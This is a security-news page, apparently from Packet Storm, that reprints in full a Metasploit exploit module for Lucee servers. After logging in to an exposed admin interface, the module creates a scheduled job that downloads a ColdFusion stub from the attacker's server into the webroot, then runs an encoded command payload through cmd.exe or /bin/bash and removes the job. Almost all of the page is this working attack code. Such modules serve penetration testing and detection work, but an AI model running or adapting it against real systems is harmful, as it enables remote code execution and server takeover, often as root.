Security
Headlines
HeadlinesLatestCVEs

Headline

Lucee Authenticated Scheduled Job Code Execution

This Metasploit module can be used to execute a payload on Lucee servers that have an exposed administrative web interface. It’s possible for an administrator to create a scheduled job that queries a remote ColdFusion file, which is then downloaded and executed when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed, the payload will run as the user specified during the Lucee installation. On Windows, this is a service account; on Linux, it is either the root user or lucee.

Packet Storm
#web#windows#linux#auth
class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::Retry  include Msf::Exploit::FileDropper  require 'base64'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Lucee Authenticated Scheduled Job Code Execution',        'Description' => %q{          This module can be used to execute a payload on Lucee servers that have an exposed          administrative web interface. It's possible for an administrator to create a          scheduled job that queries a remote ColdFusion file, which is then downloaded and executed          when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,          the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;          on Linux, it is either the root user or lucee.        },        'Targets' => [          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :windows_cmd            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd            }          ]        ],        'Author' => 'Alexander Philiotis', # [email protected]        'License' => MSF_LICENSE,        'References' => [          # This abuses the functionality inherent to the Lucee platform and          # thus is not related to any CVEs.          # Lucee Docs          ['URL', 'https://docs.lucee.org/'],          # cfexecute & cfscript documentation          ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],          ['URL', 'https://docs.lucee.org/reference/tags/script.html'],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            # /opt/lucee/server/lucee-server/context/logs/application.log            # /opt/lucee/web/logs/exception.log            IOC_IN_LOGS,            ARTIFACTS_ON_DISK,            # ColdFusion files located at the webroot of the Lucee server            # C:/lucee/tomcat/webapps/ROOT/ by default on Windows            # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux          ]        },        'Stance' => Msf::Exploit::Stance::Aggressive,        'DisclosureDate' => '2023-02-10'      )    )    register_options(      [        Opt::RPORT(8888),        OptString.new('PASSWORD', [false, 'The password for the administrative interface']),        OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),        OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),      ]    )    deregister_options('URIPATH')  end  def exploit    payload_base = rand_text_alphanumeric(8..16)    authenticate    start_service({      'Uri' => {        'Proc' => proc do |cli, req|          print_status("Payload request received for #{req.uri} from #{cli.peerhost}")          send_response(cli, cfm_stub)        end,        'Path' => '/' + payload_base + '.cfm'      }    })    #    # Create the scheduled job    #    create_job(payload_base)    #    # Execute the scheduled job and attempt to send a GET request to it.    #    execute_job(payload_base)    print_good('Exploit completed.')    #    # Removes the scheduled job    #    print_status('Removing scheduled job ' + payload_base)    cleanup_request = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path),      'vars_get' => {        'action' => 'services.schedule'      },      'vars_post' => {        'row_1' => '1',        'name_1' => payload_base.to_s,        'mainAction' => 'delete'      }    })    if cleanup_request && cleanup_request.code == 302      print_good('Scheduled job removed.')    else      print_bad('Failed to remove scheduled job.')    end  end  def authenticate    auth = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path),      'keep_cookies' => true,      'vars_post' => {        'login_passwordweb' => datastore['PASSWORD'],        'lang' => 'en',        'rememberMe' => 's',        'submit' => 'submit'      }    })    unless auth      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")    end    unless auth.code == 200 && auth.body.include?('nav_Security')      fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')    end    print_good('Authenticated successfully')  end  def create_job(payload_base)    create_job = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path),      'keep_cookies' => true,      'vars_get' => {        'action' => 'services.schedule',        'action2' => 'create'      },      'vars_post' => {        'name' => payload_base,        'url' => get_uri.to_s,        'interval' => '3600',        'start_day' => '01',        'start_month' => '02',        'start_year' => '2023',        'start_hour' => '00',        'start_minute' => '00',        'start_second' => '00',        'run' => 'create'      }    })    fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?    fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302    print_good('Job ' + payload_base + ' created successfully')    job_file_path = file_path = webroot    fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?    case target['Type']    when :unix_cmd      file_path << '/'      job_file_path = "#{job_file_path.gsub('/', '//')}//"    when :windows_cmd      file_path << '\\'      job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"    end    update_job = send_request_cgi({      'method' => 'POST',      'uri' => target_uri.path,      'keep_cookies' => true,      'vars_get' => {        'action' => 'services.schedule',        'action2' => 'edit',        'task' => create_job.headers['location'].split('=')[-1]      },      'vars_post' => {        'name' => payload_base,        'url' => get_uri.to_s,        'port' => datastore['SRVPORT'],        'timeout' => '50',        'username' => '',        'password' => '',        'proxyserver' => '',        'proxyport' => '',        'proxyuser' => '',        'proxypassword' => '',        'publish' => 'true',        'file' => "#{job_file_path}#{payload_base}.cfm",        'start_day' => '01',        'start_month' => '02',        'start_year' => '2023',        'start_hour' => '00',        'start_minute' => '00',        'start_second' => '00',        'end_day' => '',        'end_month' => '',        'end_year' => '',        'end_hour' => '',        'end_minute' => '',        'end_second' => '',        'interval_hour' => '1',        'interval_minute' => '0',        'interval_second' => '0',        'run' => 'update'      }    })    fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?    fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200    register_files_for_cleanup("#{file_path}#{payload_base}.cfm")    print_good('Job ' + payload_base + ' updated successfully')  end  def execute_job(payload_base)    print_status("Executing scheduled job: #{payload_base}")    job_execution = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path),      'vars_get' => {        'action' => 'services.schedule'      },      'vars_post' => {        'row_1' => '1',        'name_1' => payload_base,        'mainAction' => 'execute'      }    })    fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?    fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200    print_good('Job ' + payload_base + ' executed successfully')    payload_response = nil    retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do      print_status('Attempting to access payload...')      payload_response = send_request_cgi(        'uri' => '/' + payload_base + '.cfm',        'method' => 'GET'      )      payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)    end    # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.    fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500    if payload_response.nil?      print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))    elsif payload_response.code == 200      print_good('Received 200 response from ' + payload_base + '.cfm')      output = payload_response.body.strip      if output.include?("\n")        print_good('Output:')        print_line(output)      elsif output.present?        print_good('Output: ' + output)      end    elsif payload_response.code == 500      print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))    end  end  def webroot    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    })    return nil unless res    res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text  end  def cfm_stub    case target['Type']    when :windows_cmd      <<~CFM.gsub(/^\s+/, '').tr("\n", '')        <cfscript>            cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);        </cfscript>      CFM    when :unix_cmd      <<~CFM.gsub(/^\s+/, '').tr("\n", '')        <cfscript>            cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);        </cfscript>      CFM    end  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution